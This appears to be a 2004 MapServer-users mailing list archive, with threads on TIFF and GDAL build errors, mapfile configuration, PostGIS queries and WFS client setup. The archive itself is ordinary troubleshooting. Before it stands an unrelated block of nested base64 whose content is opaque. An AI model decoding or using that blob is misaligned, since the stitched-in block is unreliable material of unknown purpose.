ZEdlbGt5YkhCSlp6QkxVVEk1ZFdSSFZuVmtRekZWWTIxR2RXTXlXbXhqYVRGR1ltMU9kbHBI DQpiSFZhZW05bldXMUdlZzBLV2xSWk1FUlJiMDVEYkZwSVlVZDRTbEl3V25GWFZFcFhaVzFP TlZGdVFtcGxWVW95V1RCa1YyUlYNCmJFUlNWMmhLVlZSQ1RGSkdSblprTURWeFVsUkdUbEV3 UmpCVVJrNUREUXBoUjA1MFZHMDVhRmRHY0hOVFZXaERZVWROZWxScQ0KVG1sTk1IQnlVa1pH ZGxSbk1FdFJNbXQzWkVWNFZFMUlVazFWZWtJd1ZFWk5lRTVIVW5SaFJGWnFWbnBzTWxsWE1I Z05DazFIDQpTWGxpU0hCYVZqRkpNRnBWYUVkalIwcHVUVVYwVWsxcWJERmFSV1JYWkZkU1JF MVdWbXhYUlVwelZESnNRMlF5U2toU2JrSnANCllWUnJkMFJSY0dGWFIyZDNWRE5qZHcwS1V6 Qk9XRTVYYUdsV01WVTFVMWR6TVdSdFRuVlZibHBwWVZWS1ExbHROVk5qUmxwMA0KWWtoc2Ex ZEZNVzVWYTJSWFl6RndXVlZ0ZUdGU1JWWXhXa1ZvYjAxRmJHNU5SWFJTRFFwTmFtd3hXa1Zr VjJSWFVrUk5WbFZPDQpRMjFPZEZKdVZtcE5iSEJ6V1RKcmVGSnRTblJVYmxwaFVqSjRNVmR1 Y0haYU1XeDBVbTV3WVZaR2EzZFNSa1ozVWtkSmVVNVUNClFtRU5DbFo2VlhkVVJsWlRZMGRO ZWxGdVdtcE5iWGQzV1Zaak5XUlZPWEJSYldoclUwWktiMWRVU205a1FUQkxWMnhqTVUxRg0K T1RWUmJURm9Wak5vYzFsdE1VZGtSbkJWVFVkc1ZRMEtZbFJzTlZwRll6VmtWV3hHVW01V2Ex SXllRmhaVm1oTFRWZE9OVkZyDQpWbUZXTTJoeldrVmtWMkV3TVZST1ZFSnNVMFpHY0ZKR1Ju WlVhMDV6Vlc1U1VGZEhlSEpFVVhCVERRcGxiWGQ0VlRGV1YxSXkNClVsaFZhMmhwVW0xU2Ix WXdWblpsUm10NllrVk9iRlp1UWxsVVZtaGhZVEpLVjFkdVNsUldWMmhVV1dwR2QxWkdSblJo UjNSVQ0KVW10d2RsWXhVa3NOQ21JeVVrZGpSbWhQVmtWS1VWbFdWa3RSTVhCR1lVWk5Ua050 UmtkaE0yeG9Vak5vYUZWc1duZGtNV3h5DQpXa1phYTFWVVFreFhiR040WXpKUmQyVkhOVTVT V0ZKWVZXcEtidzBLWXpGT1ZscEZaRTVTTVVwSlZXMHhkMkZHU2paU2JrNWENCllsUldVMWRx U2xKbFZrcDFZMFZ3VTAxdVozaFdNakI0Vm5jd1MxbFhNVk5UUmxwMFpFVndWRkl4U2pOWGEx WnJEUXBpYkc5NQ0KVld0b2FGSXphRXRWYlRGUFRteFNXR0Y2UmxKTldFSlpWVzB3TVdGV1NY aFhhMHBGVlZoQ2NGWnVjRU5pTVhCWVRWaE9hMDFIDQplRXBXTWpWRFlXMUtjMWRxV2xVTkNs SXlUVFZFVVhCUlZWUkNURVJSYnowTkNnPT0NCg== From delleske at vauban.de Sun Mar 14 14:06:10 2004 From: delleske at vauban.de (Andreas Delleske) Date: Sun, 14 Mar 2004 23:06:10 +0100 Subject: [Mapserver-users] Internal Server Error / How can I check for errors? Message-ID: <4054d7527f4091.24635337@vauban.de> Hi there, this is my second attempt to get an answer, although browsing through the docs and google didnt help till now: I have a 4.0.1 mapserver running (besides the problem) fine on a debian sarge installation. The only thing is that if tiff-images (for input) are involved, apache says "internal server error (500)" and the logfiles say nothing. This although the same tiff-maps worked fine on another installation of mapserver 3.6.5 on SUSE... I assume the libraries must be in limbo... How can I check whether everything is linked fine? How are the memory limitations? (This could be another possible source of trouble) ldd mapserv gives: libgd.so.2 => /usr/lib/libgd.so.2 (0x4001d000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40056000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40074000) libpng12.so.0 => /usr/lib/libpng12.so.0 (0x400e2000) libz.so.1 => /usr/lib/libz.so.1 (0x40106000) libtiff.so.3 => /usr/lib/libtiff.so.3 (0x40117000) libproj.so.0 => /usr/lib/libproj.so.0 (0x4015a000) libgdal.so.1 => /usr/lib/libgdal.so.1 (0x4018c000) libcurl.so.2 => /usr/lib/libcurl.so.2 (0x4051d000) libssl.so.0.9.6 => /usr/lib/i686/cmov/libssl.so.0.9.6 (0x40549000) libcrypto.so.0.9.6 => /usr/lib/i686/cmov/libcrypto.so.0.9.6 (0x40576000) libdl.so.2 => /lib/libdl.so.2 (0x4062e000) libm.so.6 => /lib/libm.so.6 (0x40631000) libc.so.6 => /lib/libc.so.6 (0x40653000) libpthread.so.0 => /lib/libpthread.so.0 (0x40786000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x407d8000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x407e7000) libodbc.so.1 => /usr/lib/libodbc.so.1 (0x408ae000) libxerces-c.so.21 => /usr/lib/libxerces-c.so.21 (0x40926000) libmfhdf.so.4 => /usr/lib/libmfhdf.so.4 (0x40cee000) libdf.so.4 => /usr/lib/libdf.so.4 (0x40d10000) libungif.so.4 => /usr/lib/libungif.so.4 (0x40db0000) libcfitsio.so.2 => /usr/lib/libcfitsio.so.2 (0x40db8000) libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40ef9000) libssl.so.0.9.7 => /usr/lib/i686/cmov/libssl.so.0.9.7 (0x40f42000) libcrypto.so.0.9.7 => /usr/lib/i686/cmov/libcrypto.so.0.9.7 (0x40f71000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) libltdl.so.3 => /usr/lib/libltdl.so.3 (0x41063000) PNG, freetype goes well already. Any hints? How can I debug such a case if no logfile output is generated? -- Gru? Andreas Delleske From keon at nacse.org Sun Mar 14 14:53:55 2004 From: keon at nacse.org (Dylan Keon) Date: Sun, 14 Mar 2004 14:53:55 -0800 Subject: [Mapserver-users] Internal Server Error / How can I check for errors? In-Reply-To: <4054d7527f4091.24635337@vauban.de> References: <4054d7527f4091.24635337@vauban.de> Message-ID: <4054E283.4010903@nacse.org> Andreas, Send along your mapfile and the output of 'mapserv -v'. Andreas Delleske wrote: > Hi there, > > this is my second attempt to get an answer, although browsing through the docs and google didnt help till now: > > I have a 4.0.1 mapserver running (besides the problem) fine on a debian sarge installation. > > The only thing is that if tiff-images (for input) are involved, apache says "internal server error (500)" and the logfiles say nothing. This although the same tiff-maps worked fine on another installation of mapserver 3.6.5 on SUSE... > > I assume the libraries must be in limbo... > > How can I check whether everything is linked fine? How are the memory limitations? (This could be another possible source of trouble) > > ldd mapserv gives: > libgd.so.2 => /usr/lib/libgd.so.2 (0x4001d000) > libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40056000) > libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40074000) > libpng12.so.0 => /usr/lib/libpng12.so.0 (0x400e2000) > libz.so.1 => /usr/lib/libz.so.1 (0x40106000) > libtiff.so.3 => /usr/lib/libtiff.so.3 (0x40117000) > libproj.so.0 => /usr/lib/libproj.so.0 (0x4015a000) > libgdal.so.1 => /usr/lib/libgdal.so.1 (0x4018c000) > libcurl.so.2 => /usr/lib/libcurl.so.2 (0x4051d000) > libssl.so.0.9.6 => /usr/lib/i686/cmov/libssl.so.0.9.6 (0x40549000) > libcrypto.so.0.9.6 => /usr/lib/i686/cmov/libcrypto.so.0.9.6 (0x40576000) > libdl.so.2 => /lib/libdl.so.2 (0x4062e000) > libm.so.6 => /lib/libm.so.6 (0x40631000) > libc.so.6 => /lib/libc.so.6 (0x40653000) > libpthread.so.0 => /lib/libpthread.so.0 (0x40786000) > libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x407d8000) > libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x407e7000) > libodbc.so.1 => /usr/lib/libodbc.so.1 (0x408ae000) > libxerces-c.so.21 => /usr/lib/libxerces-c.so.21 (0x40926000) > libmfhdf.so.4 => /usr/lib/libmfhdf.so.4 (0x40cee000) > libdf.so.4 => /usr/lib/libdf.so.4 (0x40d10000) > libungif.so.4 => /usr/lib/libungif.so.4 (0x40db0000) > libcfitsio.so.2 => /usr/lib/libcfitsio.so.2 (0x40db8000) > libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40ef9000) > libssl.so.0.9.7 => /usr/lib/i686/cmov/libssl.so.0.9.7 (0x40f42000) > libcrypto.so.0.9.7 => /usr/lib/i686/cmov/libcrypto.so.0.9.7 (0x40f71000) > /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) > libltdl.so.3 => /usr/lib/libltdl.so.3 (0x41063000) > > PNG, freetype goes well already. > > Any hints? How can I debug such a case if no logfile output is generated? > From keon at nacse.org Sun Mar 14 16:11:43 2004 From: keon at nacse.org (Dylan Keon) Date: Sun, 14 Mar 2004 16:11:43 -0800 Subject: [Mapserver-users] Internal Server Error / How can I check for In-Reply-To: <4054e6f9eab614.62517044@vauban.de> References: <4054E283.4010903@nacse.org> <4054e6f9eab614.62517044@vauban.de> Message-ID: <4054F4BF.10708@nacse.org> Hi Andreas, Looking at your mapserv -v output I see you compiled both --with-tiff and --with-gdal. If compiling with GDAL you shouldn't also compile with MapServer's tiff support. Recompile with just --with-gdal and see if that helps. --Dylan Andreas Delleske wrote: > Hi Dylan, > > >>Send along your mapfile and the output of 'mapserv -v'. > > > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > And now the mapfile.. (sorry, rather big:) > > # Mapserver Anwendung > # Daten RegioWasser2000 "FlieGIS" > # Version ohne Java > > NAME fg > STATUS ON > SIZE 700 600 > # SHADESET /home/rewa/files/regiowasser.de/gis/symbols/shade.sym > # MARKERSET /home/rewa/files/regiowasser.de/gis/symbols/marker.sym > SYMBOLSET /home/rewa/files/regiowasser.de/gis/symbols/all.sym > # nur Stadtgebiet: > # EXTENT 3402705 5314352 3420924 5325901 > # Topografische 8012-8214 (etwa) TK25 > EXTENT 3400600 5296400 3437700 5329700 > UNITS METERS > SHAPEPATH "/home/rewa/files/regiowasser.de/gis/data/" > IMAGECOLOR 255 255 255 > FONTSET /home/rewa/files/regiowasser.de/gis/symbols/fonts.txt > > > WEB > # Header und Footer sind statische Seiten > # HEADER rv_head.html > # Achtung: Ganz unten ist auch noch ein Template bei den Wasserkraftwerken. > TEMPLATE ../gis/fg.html > # FOOTER rv_foot.html > MINSCALE 2000 > MAXSCALE 780000 > IMAGEPATH '/home/rewa/files/regiowasser.de/webseiten/tmp/' > IMAGEURL '/tmp/' > # Fehlerseite spaeter wieder einschalten > # ERROR '/noresult.html' > LOG 'mapserver.log' > END > > # Indexkarte > # ---------- > REFERENCE > IMAGE ../gis/fg_refmap.png > EXTENT 3402705 5314352 3420924 5325901 > # EXTENT 3400600 5296400 3437700 5329700 > SIZE 202 128 > STATUS ON > COLOR -1 -1 -1 > OUTLINECOLOR 255 0 0 > END > > QUERYMAP > SIZE 700 600 > STATUS ON > STYLE HILITE > END > > # > # Bild mit Legende erzeugen > # > LEGEND > KEYSIZE 22 22 > IMAGECOLOR 255 255 255 > LABEL > TYPE truetype > FONT verdana > ANTIALIAS true > SIZE 9 > COLOR 0 0 102 > END > STATUS ON > END > > > # > # Bild mit Maszstab erzeugen > # > SCALEBAR > IMAGECOLOR 255 255 255 > BACKGROUNDCOLOR 255 255 255 > OUTLINECOLOR 0 0 0 > LABEL > COLOR 204 0 0 > SIZE medium > BUFFER 4 > BACKGROUNDCOLOR 255 255 255 > END > STYLE 0 > SIZE 240 4 > COLOR 102 102 102 > UNITS kilometers > INTERVALS 5 > TRANSPARENT false > STATUS embed > END > > # > # Layer-Definitionen > # > # Karten werden in der Reihenfolge der Angabe hier erzeugt, d.h. > # nachfolgende Definitionen ueberschreiben pixelweise die alten Daten. > # > # Unterste Karte sind die W?sserwiesen, da sie fl?chig sind, sollen sie > # "unter" allen anderen liegen. Probleme ergeben sich eventuell durch die Beschriftung, > # die trotzdem "ueber" den anderen Layern liegen soll. > # Abhilfe eventuell durch Gruppierung, ein Layer unten und ein Layer oben. > # > # Waesserwiesen > # > LAYER > NAME ww > TYPE polygon > STATUS on > DATA waesserwiesen/wwrunz > # SYMBOLSCALE 10000 > LABELITEM 'NAME' > TRANSPARENCY 0 > CLASS > NAME 'W?sserwiesen' > # SYMBOL 1 > OUTLINECOLOR 102 102 102 > COLOR 153 255 153 > LABEL > BUFFER 4 > FONT verdana > TYPE truetype > ANTIALIAS true > SIZE 9 > MINFEATURESIZE 30 > COLOR 0 0 0 > # OUTLINECOLOR 51 153 51 > BACKGROUNDCOLOR 153 255 153 > END > END > END > > # > # Seen, gruppiert zu Layer "gewaesser" > # > LAYER > NAME seen > TYPE polygon > STATUS on > DATA gew_gesamt/seen1 > # SYMBOLSCALE 10000 > # LABELITEM 'NAME' > GROUP gewaesser > TRANSPARENCY 100 > CLASS > # NAME 'Seen' > # SYMBOL 1 > OUTLINECOLOR 51 204 204 > COLOR 51 204 204 > LABEL > BUFFER 4 > FONT verdana > TYPE truetype > ANTIALIAS true > SIZE 9 > MINFEATURESIZE 30 > COLOR 0 0 0 > # OUTLINECOLOR 255 204 204 > BACKGROUNDCOLOR 51 204 204 > END > END > END > > # > # Inseln, gruppiert zu Layer "gewaesser" > # > LAYER > NAME inseln > TYPE polygon > STATUS on > DATA gew_gesamt/inseln1 > # SYMBOLSCALE 10000 > # LABELITEM 'NAME' > GROUP gewaesser > TRANSPARENCY 0 > CLASS > # NAME 'inseln1' > # SYMBOL 1 > OUTLINECOLOR 255 255 255 > COLOR 104 104 104 > LABEL > BUFFER 4 > FONT verdana > TYPE truetype > ANTIALIAS true > SIZE 10 > MINFEATURESIZE 30 > COLOR 0 0 0 > # OUTLINECOLOR 255 104 204 > BACKGROUNDCOLOR 51 204 204 > END > END > END > > # > # Fluesse, gruppiert zu Layer "gewaesser" > # > LAYER > NAME fluesse > TYPE line > STATUS on > DATA gew_gesamt/fluesse > LABELITEM 'NAME' > GROUP gewaesser > CLASS > # NAME 'Stadtgew?sser' > # OUTLINECOLOR 104 104 104 > # LABELITEM 'NAME' > SYMBOL 1 > SIZE 3 > COLOR 51 153 255 > LABEL > BUFFER 4 > FONT verdana > TYPE truetype > ANTIALIAS true > SIZE 9 > ANGLE auto > POSITION uc > MINFEATURESIZE 200 > OFFSET 0 10 > COLOR 0 51 153 > # OUTLINECOLOR 255 204 204 > BACKGROUNDCOLOR 255 255 255 > END > END > END > > # > # Gewaesserstruktur in Ebnet > # > LAYER > NAME gew_struk1 > TYPE raster > STATUS on > TRANSPARENCY 0 > # OFFSITE 0 0 0 > DATA gew_struktur/skebnet.tif > END > > # Topografische Karten, gruppiert zu Layer "karte" > # > LAYER > NAME "7912" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK7912CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "7913" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK7913CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "7914" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK7914CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "8012" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK8012CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "8013" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK8013CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "8014" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK8014CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "8112" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK8112CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "8113" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK8113CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > LAYER > NAME "8114" > TYPE raster > STATUS on > GROUP karte > DATA karten/TK8114CO.tif > MAXSCALE 500000 > # OFFSITE 0 0 0 > END > > # > # Dreisam-Einzugsgebiet > # > LAYER > NAME dreisam_ezg > TYPE polygon > STATUS on > DATA gew_gesamt/dreisam_ezg > # SYMBOLSCALE 10000 > # LABELITEM 'WWRUNZ_ID' > TRANSPARENCY 50 > CLASS > NAME 'Dreisam-Einzugsgebiet' > # OUTLINECOLOR 0 0 0 > # SYMBOL 0 > SIZE 20 > COLOR 255 255 153 > END > END > > > > # > # Stadtkarte, gruppiert zu Layer "stadt" > # > LAYER > NAME karte_11 > TYPE raster > STATUS on > GROUP stadt > DATA karten/stadtk_1.tif > MAXSCALE 500000 > OFFSITE 0 0 0 > END > > LAYER > NAME karte_21 > TYPE raster > STATUS on > GROUP stadt > DATA karten/stadtk_2.tif > MAXSCALE 500000 > OFFSITE 0 0 0 > END > > LAYER > NAME karte_31 > TYPE raster > STATUS on > GROUP stadt > DATA karten/stadtk_3.tif > MAXSCALE 500000 > OFFSITE 0 0 0 > END > > # > # Fluesse im Maszstab 1:10.000 > # > LAYER > NAME fluss10k > TYPE line > STATUS on > DATA gew_gesamt/fluss10k > LABELITEM 'NAME' > CLASS > NAME 'Flie?gew?sser' > # OUTLINECOLOR 102 102 102 > SYMBOL 1 > SIZE 3 > COLOR 51 51 255 > LABEL > BUFFER 4 > FONT verdana > TYPE truetype > ANTIALIAS true > SIZE 9 > ANGLE auto > POSITION uc > MINFEATURESIZE 200 > OFFSET 0 5 > COLOR 0 51 153 > OUTLINECOLOR 255 255 255 > BACKGROUNDCOLOR 255 255 255 > END > END > END > > # Ausgeschaltet aus Gruenden des RAM-Verbrauchs: > # Stadtkarte in einem Stueck > #LAYER > # NAME stadtkarte > # TYPE raster > # STATUS off > # DATA karten/stadtkarte.tif > # MAXSCALE 500000 > # OFFSITE 0 0 0 > #END > > # Gewaesserentwicklungsplan (westlich) > # > LAYER > NAME entwick > TYPE raster > STATUS on > DATA gew_entwicklungsplan/muehlbach.tif > END > > # > # Gewaesserguete > # > LAYER > NAME gwg > TYPE point > STATUS on > DATA gew_guete/gwg > CLASSITEM 'SAUERSTOFF' > CLASS > EXPRESSION '0' > NAME 'Sauerstoffversorgung' > SYMBOL 'circle' > SIZE 18 > # OUTLINECOLOR 255 255 255 > COLOR 255 255 255 > END > CLASS > EXPRESSION '1' > NAME 'sehr gut' > SYMBOL 'triangle2' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 20 255 20 > END > CLASS > EXPRESSION '2' > NAME 'gut' > SYMBOL 'triangle2' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 80 225 20 > END > CLASS > EXPRESSION '3' > NAME 'kritisch' > SYMBOL 'triangle2' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 255 255 20 > END > CLASS > EXPRESSION '4' > NAME 'schlecht' > SYMBOL 'triangle2' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 250 200 50 > END > CLASS > EXPRESSION '5' > NAME 'sehr schlecht' > SYMBOL 'triangle2' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 255 20 10 > END > END > > # > # Gewaesserentwicklungsplan 2 > # > LAYER > NAME gwg2 > TYPE point > STATUS on > DATA gew_guete/gwg > CLASSITEM 'BIOBELAST' > CLASS > EXPRESSION '0' > NAME 'Biobelastung' > SYMBOL 'circle' > SIZE 18 > # OUTLINECOLOR 102 102 102 > COLOR 255 255 255 > END > CLASS > EXPRESSION '1' > NAME 'gering belastet' > SYMBOL 'triangle1' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 20 255 20 > END > CLASS > EXPRESSION '2' > NAME 'm??ig belastet' > SYMBOL 'triangle1' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 80 225 20 > END > CLASS > EXPRESSION '3' > NAME 'kritisch belastet' > SYMBOL 'triangle1' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 255 255 20 > END > CLASS > EXPRESSION '4' > NAME 'stark belastet' > SYMBOL 'triangle1' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 250 200 50 > END > CLASS > EXPRESSION '5' > NAME 'sehr stark belastet' > SYMBOL 'triangle1' > SIZE 18 > OUTLINECOLOR 102 102 102 > COLOR 255 20 10 > END > END > > # > # Regenrueckhaltebecken > # > > LAYER > NAME rrb > TYPE point > STATUS on > DATA regenrueckhaltebecken/rrb > CLASS > NAME 'Regenr?ckhaltebecken' > SYMBOL 'rrb' > SIZE 20 > # OUTLINECOLOR 120 120 120 > COLOR 220 220 100 > END > END > > # > # Wasserkraft > # > LAYER > NAME wkraft > TYPE point > STATUS on > DATA wasserkraft/wk > TOLERANCEUNITS pixels > TOLERANCE 10 > CLASS > NAME 'Wasserkraftanlagen' > SYMBOL 'wasserkraft' > END > TEMPLATE ../gis/fg_wk.html > END > > #end of map > END > > > From gheysen.t at skynet.be Mon Mar 15 00:45:05 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Mon, 15 Mar 2004 09:45:05 +0100 Subject: [Mapserver-users] (no subject) Message-ID: <200403150845.i2F8j5f6028913@outmx013.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hello, I am student in Belgium and I make a report on webmapping. I must compare the various existing solutions. I found on Internet ( http://www.geoplace.com/gr/webmapping/Final%20Web%20Charts.pdf ) a table comparing various solutions but MapServer is not there. Could somebody help me to supplement this table with MapServer ? Cordially Gheysen Thibaut gheysen.t at fsagx.ac.be -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hello,
 
I am student in Belgium and I make a report on webmapping.  I must compare the various existing solutions.  I found on Internet ( http://www.geoplace.com/gr/webmapping/Final%20Web%20Charts.pdf  ) a table comparing various solutions but MapServer is not there.  Could somebody help me to supplement this table with MapServer ? 
 
Cordially
 
Gheysen Thibaut
gheysen.t at fsagx.ac.be
-------boundalter150977-- From siki at agt.bme.hu Mon Mar 15 03:05:10 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Mon, 15 Mar 2004 10:05:10 -0100 (GMT+1) Subject: [Mapserver-users] Internal Server Error / How can I check for errors? {Scanned} {Scanned} In-Reply-To: <4054d7527f4091.24635337@vauban.de> Message-ID: Hi, Try to rebuild mapserver without tiff, but with gdal. gdal can handle tiffs. It helped me on RedHat 9. Bye Zoltan On Sun, 14 Mar 2004, Andreas Delleske wrote: > Hi there, > > this is my second attempt to get an answer, although browsing through the docs and google didnt help till now: > > I have a 4.0.1 mapserver running (besides the problem) fine on a debian sarge installation. > > The only thing is that if tiff-images (for input) are involved, apache says "internal server error (500)" and the logfiles say nothing. This although the same tiff-maps worked fine on another installation of mapserver 3.6.5 on SUSE... > > I assume the libraries must be in limbo... > > How can I check whether everything is linked fine? How are the memory limitations? (This could be another possible source of trouble) > > ldd mapserv gives: > libgd.so.2 => /usr/lib/libgd.so.2 (0x4001d000) > libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40056000) > libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40074000) > libpng12.so.0 => /usr/lib/libpng12.so.0 (0x400e2000) > libz.so.1 => /usr/lib/libz.so.1 (0x40106000) > libtiff.so.3 => /usr/lib/libtiff.so.3 (0x40117000) > libproj.so.0 => /usr/lib/libproj.so.0 (0x4015a000) > libgdal.so.1 => /usr/lib/libgdal.so.1 (0x4018c000) > libcurl.so.2 => /usr/lib/libcurl.so.2 (0x4051d000) > libssl.so.0.9.6 => /usr/lib/i686/cmov/libssl.so.0.9.6 (0x40549000) > libcrypto.so.0.9.6 => /usr/lib/i686/cmov/libcrypto.so.0.9.6 (0x40576000) > libdl.so.2 => /lib/libdl.so.2 (0x4062e000) > libm.so.6 => /lib/libm.so.6 (0x40631000) > libc.so.6 => /lib/libc.so.6 (0x40653000) > libpthread.so.0 => /lib/libpthread.so.0 (0x40786000) > libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x407d8000) > libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x407e7000) > libodbc.so.1 => /usr/lib/libodbc.so.1 (0x408ae000) > libxerces-c.so.21 => /usr/lib/libxerces-c.so.21 (0x40926000) > libmfhdf.so.4 => /usr/lib/libmfhdf.so.4 (0x40cee000) > libdf.so.4 => /usr/lib/libdf.so.4 (0x40d10000) > libungif.so.4 => /usr/lib/libungif.so.4 (0x40db0000) > libcfitsio.so.2 => /usr/lib/libcfitsio.so.2 (0x40db8000) > libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40ef9000) > libssl.so.0.9.7 => /usr/lib/i686/cmov/libssl.so.0.9.7 (0x40f42000) > libcrypto.so.0.9.7 => /usr/lib/i686/cmov/libcrypto.so.0.9.7 (0x40f71000) > /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) > libltdl.so.3 => /usr/lib/libltdl.so.3 (0x41063000) > > PNG, freetype goes well already. > > Any hints? How can I debug such a case if no logfile output is generated? > > From bartvde at xs4all.nl Mon Mar 15 01:55:49 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Mon, 15 Mar 2004 10:55:49 +0100 (CET) Subject: [Mapserver-users] WMS styles Message-ID: <14511.212.238.227.182.1079344549.squirrel@webmail.xs4all.nl> Hi list, now that SLD is being implemented for Mapserver 4.2, will there also be support for Named Styles using the &styles= parameter of the standard WMS protocol? I.e. will we be able to define styles at the server-side using a collection of CLASS objects (or using an SLD document)? For which we can provide names? Or will the &SLD= or &SLD_BODY= be the only way to do this (client-side driven)? Best regards, Bart From Horst.Duester at bd.so.ch Mon Mar 15 06:57:49 2004 From: Horst.Duester at bd.so.ch (=?ISO-8859-1?Q?D=FCster_Horst?=) Date: Mon, 15 Mar 2004 15:57:49 +0100 Subject: [Mapserver-users] NQUERY Internal Server Error Message-ID: <5B025B1F39D6D4119F5700508BEEEC66F949E4@srsofaioi4546.ktso.ch> I'm a little bit confused about a query problem I'm faced with. Today I did the upgrade from MS 3.6.7 to MS 4.0.1. I made all the necessary migration steps (I hope). NQUERY with the most layers work fine, but one layer produces an "Internal Server Error". Apache error_log says "Premature End of Header". After some modifications of the concerned layer I found out a strange fact. Take a look at the attached Mapfile snippet. Some layer information: The underlaying data are stored in a Postgres-7.2.4/PostGIS-0.8.1 DB with 4500 recs. The values of the attribute o_art are between 100 and 41500. with DATA "wkb_geometry from (select oid,* from arp_ripl_poly where o_art >= 1000 and o_art < 30412) as foo usinng SRID=-1" NQUERY works with DATA "wkb_geometry from (select oid,* from arp_ripl_poly where o_art >= 1000 and o_art < 30413) as foo usinng SRID=-1" NQUERY does not work -> Internal Server Error with DATA "wkb_geometry from arp_ripl_poly" NQUERY does not work -> Internal Server Error LAYER NAME basdat #Grundnutzung#Legende# TYPE Polygon STATUS ON TOLERANCE 10 MAXSCALE 80000 DATA "wkb_geometry from (select oid,* from arp_ripl_poly where o_art >= 1000 and o_art < 30412) as foo usinng SRID=-1" CONNECTIONTYPE POSTGIS CONNECTION "dbname=xxx host=xxx user=xxx" TEMPLATE "qry_tpl.html" CLASS EXPRESSION ([o_art]=5000) NAME "
- dem Landwirtschaftsgebiet ?berlagert
" COLOR 255 255 0 OUTLINECOLOR 0 0 0 SYMBOL "simple-line" END # CLASS END I would be appreciative about any hint. With best regards Dr. Horst D?ster GIS-Koordinator Amt f?r Geoinformation Abteilung SO!GIS Koordination Werkhofstr. 65 4509 Solothurn Tel.: 032 627 25 32 Fax: 032 627 22 14 horst.duester at bd.so.ch www.sogis.so.ch From sli1 at uni-forst.gwdg.de Mon Mar 15 07:05:24 2004 From: sli1 at uni-forst.gwdg.de (Shiming Li) Date: Mon, 15 Mar 2004 16:05:24 +0100 Subject: [Mapserver-users] Wfs-client, no image appears Message-ID: <4055C634.1010400@uni-forst.gwdg.de> This is a multi-part message in MIME format. --------------080803070702080501070803 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I want to use MapServer as a WFS client, so I compiled with the option --with-wfsclient. But there is nothing in the image area. Is there something wrong? Any sugesstion will be appreciated. Computer Environment: Linux SuSE 8.2, Mozilla 1.6, MapServer 4.0.1 (or nightly build), The output of the mapserv -v is MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE I added the following lines to .map file LAYER NAME "wfslayer" TYPE POINT CONNECTIONTYPE WFS CONNECTION "http://localhost:8080/geoserver/wfs?version=1.0.0&request=GetFeature&typename=bi" STATUS ON #PROJECTION # "proj=utm" # "ellps=WGS84" # "zone=32" # "north" # "no_defs" # OR: # "init=epsg:26915" # END PROJECTION "init=epsg:32632" END METADATA "wfs_connectiontimeout" "60" # Default is 30 seconds "wfs_latlonboundingbox" "-75 45 -70 50" # Area covered by this layer END CLASS SYMBOL 'circle' COLOR 200 0 0 END END In the tmp directory, I found there is a file named 